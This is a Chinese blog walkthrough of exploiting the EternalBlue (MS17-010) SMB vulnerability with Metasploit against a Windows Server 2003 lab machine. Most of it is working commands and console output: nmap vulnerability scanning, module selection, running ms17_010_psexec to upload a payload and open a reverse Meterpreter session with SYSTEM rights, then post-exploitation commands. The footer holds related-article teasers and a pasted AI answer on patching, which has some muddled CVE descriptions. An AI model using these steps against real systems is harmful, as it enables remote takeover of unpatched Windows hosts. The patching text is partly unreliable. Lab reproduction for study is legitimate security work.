永恒之蓝ms17_010利用及攻击（CVE-2017-0146）

最新推荐文章于 2025-09-04 12:12:34 发布
原创 最新推荐文章于 2025-09-04 12:12:34 发布 · 2.6k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#linux #安全 #windows

本文详细介绍了如何使用Metasploit框架进行永恒之蓝（MS17-010）漏洞的探测与利用，包括设置攻击参数、验证漏洞存在性并最终实现对目标系统的远程控制。
部署运行你感兴趣的模型镜像

简介

永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

实验环境

攻击机：kali linux       192.168.1.106
目标机：win2003          192.168.1.103

利用攻击

首先我们可以利用nmap来扫描一下可能存在的漏洞

msf5 > nmap --script=vuln 192.168.1.103
[*] exec: nmap --script=vuln 192.168.1.103

Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-29 13:52 CST
Nmap scan report for 192.168.1.103
Host is up (0.00051s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:FE:8D:2D (VMware)

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 23.40 seconds

可以看到存在ms17_010，那么我们可以进一步的验证是否存在。
搜索：ms17-010

msf5 > search ms17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   1  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

选择漏洞辅助模块进行探测

msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > options 

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                       yes       The target address range or CIDR identifier
   RPORT        445                                                             yes       The SMB service port (TCP)
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads

yes的参数要全部填上，可以看到只有RHOSTS（扫描的地址）没有，设置扫描地址的方法如下：

msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf5 auxiliary(scanner/smb/smb_ms17_010) > options 

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS       192.168.1.103                                                   yes       The target address range or CIDR identifier
   RPORT        445                                                             yes       The SMB service port (TCP)
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads

run/exploit：启动一下

msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit 

[+] 192.168.1.103:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
[*] 192.168.1.103:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

存在ms17_010漏洞，那么我们设置攻击脚本

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > options 

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                yes       The target address range or CIDR identifier
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic

步骤同上，还是要设置一下要攻击的地址

msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf5 exploit(windows/smb/ms17_010_psexec) > options 

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                192.168.1.103                                                   yes       The target address range or CIDR identifier
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic

设置完毕就可以启动

msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.1.100:4444 
[*] 192.168.1.103:445 - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.1.103:445 - Filling barrel with fish... done
[*] 192.168.1.103:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.1.103:445 - 	[*] Preparing dynamite...
[*] 192.168.1.103:445 - 		Trying stick 1 (x64)...Miss
[*] 192.168.1.103:445 - 		[*] Trying stick 2 (x86)...Boom!
[*] 192.168.1.103:445 - 	[+] Successfully Leaked Transaction!
[*] 192.168.1.103:445 - 	[+] Successfully caught Fish-in-a-barrel
[*] 192.168.1.103:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.1.103:445 - Reading from CONNECTION struct at: 0x90670b08
[*] 192.168.1.103:445 - Built a write-what-where primitive...
[+] 192.168.1.103:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.1.103:445 - Selecting native target
[*] 192.168.1.103:445 - Uploading payload... eqCoYHQN.exe
[*] 192.168.1.103:445 - Created \eqCoYHQN.exe...
[+] 192.168.1.103:445 - Service started successfully...
[*] 192.168.1.103:445 - Deleting \eqCoYHQN.exe...
[-] 192.168.1.103:445 - Delete of \eqCoYHQN.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Sending stage (179779 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.103:1029) at 2020-08-29 14:16:13 +0800

可以看到已经建立了连接，接下来我们可以：

显示远程主机系统信息：sysinfo
查看用户身份：getuid
对远程主机当前屏幕进行截图：screenshot
获得shell控制台：shell
......等

您可能感兴趣的与本文相关的镜像

Wan2.2-T2V-A5B

Wan2.2-T2V-A5B

文生视频
Wan2.2

Wan2.2是由通义万相开源高效文本到视频生成模型，是有​50亿参数的轻量级视频生成模型，专为快速内容创作优化。支持480P视频生成，具备优秀的时序连贯性和运动推理能力

Kali的Metasploit-Framework利用漏洞入侵Windows2003Server
路~可以走过
04-16 3798
根据上篇的塔建：https://blog.youkuaiyun.com/qq_41709494/article/details/89278964 #用VMware塔建Windows2003Server靶机，IP地址是：192.168.137.128 #还部分信息没截图就省略了 #塔建仅主机模式（Host-Only）网络Windows2003Server可以上网 #打勾允许其他网络用户...
Windows - SMB 远程代码执行漏洞（永恒之蓝） - CVE-2017-0146 & MS17-010
Blue17 の 小窝
03-22 1735
永恒之蓝漏洞（MS 17-010、
Windows SMB 协议漏洞（CVE-2025-33073）：通过 Kerberos 实现 SYSTEM 权限提升，PoC 已公开
seoppg的博客
09-04 492
摘要：Windows SMB客户端曝高危漏洞CVE-2025-33073（CVSS 8.8），允许攻击者通过恶意SMB服务器获取SYSTEM权限。漏洞源于Kerberos认证缺陷，攻击者利用子密钥管理漏洞伪造特权令牌。攻击链包括：诱导连接恶意服务器→强制Kerberos认证→密钥注入→伪造SYSTEM令牌。PoC已在GitHub公开，需紧急防护。
Linux smb漏洞（CVE-2017-7494）复现
自学编程_youkewang.top
04-14 2679
漏洞编号：CVE-2017-7494 漏洞等级：严重 影响版本：漏洞影响了Samba 3.5.0 之后的版本，不包含4.6.4/4.5.10/4.4.140x01：打开samba配置文件添加以下配置。vi /etc/samba/smb.conf0x02：更新MSF后使用"exploit/linux/samba/is_known_pipename"利用模块，设置rhost后直接exploit即可得到...
方程式工具-永恒之蓝 Windows 2008 r2 安装补丁
04-12
【1】Microsoft Windows SMB 输入验证漏洞(CVE-2017-0143)(方程式工具-永恒之蓝)[原理扫描] 【2】Microsoft Windows SMB 输入验证漏洞(CVE-2017-0144)(方程式工具-永恒之蓝)[原理扫描] 【3】Microsoft Windows SMB 输入验证漏洞(CVE-2017-0145)(方程式工具-永恒之蓝)[原理扫描] 【4】Microsoft Windows SMB 输入验证漏洞(CVE-2017-0146)(方程式工具-永恒之蓝)[原理扫描] 【5】Microsoft Windows SMB 输入验证漏洞(CVE-2017-0148)(方程式工具-永恒之蓝)[原理扫描] windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu
msf复现利用永恒之蓝【MS17_010】CVE-2017-0144漏洞
qq_58873970的博客
07-28 1029
SMB是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。漏洞复现是一个排错的过程，要善于利用互联网这个工具进行排难。
网安学途—MS17010 永恒之蓝 CVE-2017-0146
星虐
12-31 8212
文章详细介绍了利用Kali和Win7进行漏洞复现的步骤，包括IP地址配置、端口扫描、MS17-010模块使用等，最终成功获取系统权限。为防范此类攻击，建议及时更新操作系统、安装MS17-010补丁，并关闭445、135、137、138、139等高风险端口。
永恒之蓝漏洞复现（CVE-2017-0146）
qq_58000413的博客
04-03 4997
前言 永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 原理分析： 利用ms17-010中的扫描模块和攻击模块进行，首先通过扫描模块判断是否存在永恒之蓝漏洞
入门级简单的复现永恒之蓝（CVE-2017-0146）
来到了学渣的博客
12-21 2021
入门级的复现永恒之蓝（CVE-2017-0146） 实验设备与软件环境： Kali-2016系统 IP:192.168.10.140 Win7系统 IP：192.168.10.132 开放端口：445 MSF框架版本：5.0.59版本 开始练手 信息收集： Kali先进入msfconsle，然后用nmap -sV 192.168.10.132 扫描win7...
【漏洞复现】永恒之蓝 MS17-010 远程溢出漏洞(CVE-2017-0143)
李同學的安全圈
03-07 9451
文章目录声明前言一、漏洞原理简述二、漏洞代码深层解析三、实验步骤四、漏洞补丁总结 声明 本篇文章仅用于技术研究与技术学习，切勿用于非授权下攻击行为，切记！ 前言 Windows7 存在 MS17-010 永恒之蓝(远程溢出漏洞) ，该漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码 一、漏洞原理简述 MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理FEA(File Ex
网安学习日记-永恒之蓝MS17-010远程溢出漏洞学习(CVE-2017-0143)
末班车的博客
03-10 1640
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小，因计算大小错误，而导致缓冲区溢出。
Metasploit永恒之蓝（ms17_010）
m0_62908421的博客
07-16 1138
MS17-010（永恒之蓝）是Windows SMBv1协议中的高危漏洞，允许远程代码执行，CVSS评分为10.0。漏洞源于SrvOs2FeaListSizeToNt函数的内存计算错误，攻击者通过构造畸形FEALIST数据包触发堆溢出，覆盖关键指针并注入内核级Shellcode。典型攻击链包含Grooming内存布局、溢出覆盖SRVNET_BUFFER_HDR结构、APC注入执行Payload等步骤，利用工具如Metasploit可实现自动化攻击。
永恒之蓝（CVE-2017-0146）详细复现
2301_81864699的博客
06-07 1202
目前已知受影响的 Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。（全称是Server Message Block）是一个协议服务器信息块，是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源。
永恒之蓝（CVE-2017-0146）复现（超详细）
热门推荐
轻舟已过万重山
09-21 1万+
大家好，这是我来到优快云创作的第二篇博客，我在进行实战模拟时跟大家一样，找到的教程，资料都是参差不齐，要么文章含金量不高，要么不详细，跳过了很多步骤，导致我们在实战复现的过程中，遭遇了各种各样的阻碍，但是我们在搜索相关报错信息时又找不到资料，整个安全圈的技术属于只对圈内开放，难住了很多想要入门的小伙伴，所以在此之后，我会将我自己的学习路线和每次实战的思路，以及遇到的问题，都写成博客，希望能够帮到大家，也希望有大神来指导指导我，大家一起共同进步。
记一次利用kali和win xp以及win server2003进行模拟中间人攻击
weixin_52515588的博客
05-01 746
目录 攻击原理： 环境搭建 开启ARP欺骗 利用kali系统模拟攻击者，利用中间人的攻击手段来获取用户登录的用户名与密码。 前期准备： win xp （模拟用户机） winserver 2003（模拟web及ftp服务器） kali（模拟攻击者） 交换机是根据帧头MAC地址进行转发的【mac地址表是自动形成的】 交换机只检查帧头 攻击原理： 利用ARP协议【网络层协议】漏洞 已知IP解析MAC地址 ARP协议原理： （1）发送ARP广播请求 ...
[渗透测试笔记] 28.复现CVE-2017-0146(永恒之蓝)
H4ppyD0g的博客
02-06 3594
所有内容仅作为个人学习和实验使用，请勿用于非法用途，后果自负！ 第一次复现漏洞，感觉好好玩 ???? 永恒之蓝编号CVE-2017-0146，可通过MS17-010补丁修补此漏洞 CVE可以看成一个漏洞字典，用来给广泛认同的信息安全漏洞等提供一个公共的名称。通过使用同一个名称，可以在各自独立的漏洞库中起到一定的兼容性效果，并帮助在各个漏洞库中找到相关修补信息。 MS17-010是微软的一个安全类型的补...
使用kali hydra暴力 破解Windows2003密码
qBAYMAX的博客
03-17 1932
模拟机：kali windows2003 两台虚拟机能ping通 1.在windows2003创建用户和密码 2.在kali测试两台模拟机的连通性 3.创建字典 使用crunch创建字典 4.扫描端口，由开放的端口决定由什么协议·进行攻击 smb:445端口 5.发起攻击 hydra -l baymax -P pass.txt smb://192.168.171.128 -l 攻击的用...
Windows漏洞CVE-2017-0146永恒之蓝（EternaleBlue）的剖析与防御措施
阿尔泰野狼的博客
05-07 922
本文剖析了EternalBlue漏洞（微软漏洞库编号MS17-010， CVE编号CVE-2017-0146）的原理与利用过程。
记录MS17-010（CVE-2017-0146）永恒之蓝（漏洞复现）
L3109834374的博客
04-07 364
使用 模块24 对目标主机进行扫描，RHOSTS为目标主机，利用set 命令设置，之后就可以run了。*在这里需要注意的是，如果我们的虚拟机使用的是nat网络模式，我们需要设置一下payload。用set payload payload进行设置payload。输入search ms17-010 搜索利用该漏洞的脚本工具。使用模块0，设置RHOSTS,并查看选项。第二步 将创建好的用户拉进超级管理组。最后我们也是成功进入了目标机桌面。我们发现存在，ms17-010。设置成功后，我们run。
CVE-2017-0144修复
最新发布
09-20
<think> 我们正在处理用户关于CVE-2017-0144漏洞修复方法的请求。根据上下文，用户之前询问了CVE-2017-0143的修复，现在转向CVE-2017-0144。注意：引用[1]提到CVE-2017-0144即“永恒之蓝”，但这里有一个常见的混淆点：实际上，“永恒之蓝”利用的是CVE-2017-0143等多个漏洞，而CVE-2017-0144是另一个相关的SMB漏洞。我们需要澄清并给出正确的修复方法。 根据公开的漏洞信息： - CVE-2017-0143: Windows SMB 远程代码执行漏洞（永恒之蓝利用的核心漏洞之一） - CVE-2017-0144: Windows SMB 信息泄露漏洞（也是永恒之蓝利用的漏洞之一） 但是，在微软的安全公告中，这些漏洞都是在MS17-010中修复的。也就是说，修复方法是相同的：安装MS17-010补丁并禁用SMBv1。 因此，我们可以这样回答： ### CVE-2017-0144漏洞修复方法 CVE-2017-0144是Microsoft Windows SMB服务中的一个信息泄露漏洞，属于“永恒之蓝”漏洞系列的一部分。攻击者可利用此漏洞获取敏感信息，进而结合其他漏洞（如CVE-2017-0143）实现远程代码执行[^1]。 #### 修复步骤（与CVE-2017-0143相同） 1. **应用Microsoft安全更新**： - **安装官方补丁**：所有受影响的Windows系统均需安装MS17-010安全更新。补丁下载地址：[Microsoft Security Update MS17-010](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010)。 - 具体补丁KB号与系统版本相关： - Windows 7/Server 2008 R2: KB4012212、KB4012215 - Windows 8.1/Server 2012 R2: KB4012213、KB4012216 - Windows 10/Server 2016: KB4012606 - **验证更新**： - 打开命令提示符（管理员），运行： ```batch wmic qfe list | findstr KB4012212 ``` 若返回补丁信息则已安装。 2. **禁用SMBv1协议**： - 由于CVE-2017-0144同样影响SMBv1协议，禁用该协议可彻底消除风险： - **PowerShell命令**： ```powershell # 禁用SMBv1服务端 Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force # 禁用SMBv1客户端 Set-SmbClientConfiguration -EnableSMB1Protocol $false -Force ``` - **组策略配置**： - 打开`gpedit.msc`，依次进入： - `计算机配置` > `管理模板` > `网络` > `Lanman工作站` > 启用“启用不安全来宾登录”（设置为“已禁用”）（注：实际上禁用SMBv1的组策略位置在“Lanman工作站”和“Lanman服务器”中，分别禁用客户端和服务端） - 对于域环境，可通过域控制器下发策略。 3. **网络层防护**： - **防火墙规则**：在边界防火墙或主机防火墙中阻止TCP 139/445端口的入站连接。 - Windows防火墙规则示例（管理员命令提示符）： ```batch netsh advfirewall firewall add rule name="Block_SMB" dir=in protocol=TCP localport=139,445 action=block ``` #### 注意事项 - **影响范围**：该漏洞影响Windows Vista至Windows 10、Server 2008至Server 2016的所有版本[^1]。 - **补丁兼容性**：若系统无法直接更新（如Windows XP），需采用缓解措施或升级系统。 - **全面修复**：由于“永恒之蓝”利用多个漏洞（包括CVE-2017-0143、CVE-2017-0144等），建议完整安装MS17-010全部更新。 §§相关问题§§ 1. CVE-2017-0144漏洞的具体利用原理是什么？ 2. 如何检测系统是否已成功修复CVE-2017-0144？ 3. 对于不支持官方补丁的旧版Windows（如Windows XP），如何防御此类漏洞？ </think> ### CVE-2017-0144漏洞修复方法 CVE-2017-0144是"永恒之蓝"漏洞系列中的另一个关键漏洞，影响Windows SMBv1协议。与CVE-2017-0143（远程代码执行）不同，CVE-2017-0144主要导致**信息泄露风险**，攻击者可利用该漏洞获取内核内存敏感数据，为后续攻击创造条件[^1]。以下是完整的修复方案： #### 修复步骤（与MS17-010系列漏洞通用） 1. **安装官方安全更新** Microsoft通过MS17-010安全公告一次性修复了包括CVE-2017-0144在内的多个SMB漏洞： - **补丁下载**： - Windows 7/8.1/Server 2008 R2：[KB4012212](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4012212) - Windows 10/Server 2016：[KB4012606](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4012606) - **验证安装**： ```batch wmic qfe list | findstr "4012212 4012606" ``` 返回补丁信息即表示安装成功 2. **永久禁用SMBv1协议** （此操作同时修复CVE-2017-0143和CVE-2017-0144） - **PowerShell操作**： ```powershell # 禁用SMBv1服务端 Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force # 禁用SMBv1客户端 Set-SmbClientConfiguration -EnableSMB1Protocol $false -Force Restart-Service LanmanServer -Force ``` - **注册表操作**（适用于无PowerShell的系统）： ```reg Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] "SMB1"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10] "Start"=dword:00000004 ``` 3. **网络层防护** - **防火墙配置**： ```batch netsh advfirewall firewall add rule name="Block_SMB" dir=in protocol=TCP localport=445 action=block netsh advfirewall firewall add rule name="Block_NetBIOS" dir=in protocol=TCP localport=139 action=block ``` - **路由器配置**：在企业边界路由器禁用TCP 139/445端口入站流量 #### 特殊系统处理 | 系统类型 | 解决方案 | 注意事项 | |----------------|-----------------------------|----------------------------| | Windows XP | 安装自定义补丁[KB4012598](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010#windows-xp) | 需手动下载安装 | | 嵌入式系统 | 禁用SMB服务 + VLAN隔离 | 测试业务兼容性 | | 无法重启系统 | 临时关闭SMB服务：<br>`net stop lanmanserver` | 重启后失效，需永久解决方案 | #### 验证修复效果 1. 使用Nmap检测： ```bash nmap -p445 --script smb-vuln-ms17-010 <目标IP> ``` 输出`VULNERABLE`表示存在风险，`NOT VULNERABLE`表示修复成功 2. Microsoft检测工具：[Safety Scanner](https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download) > **关键提示**：CVE-2017-0143和CVE-2017-0144同属MS17-010漏洞系列，修复方法完全通用。微软官方强调禁用SMBv1是最彻底的解决方案，因为该协议已存在多个未公开漏洞[^1]。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值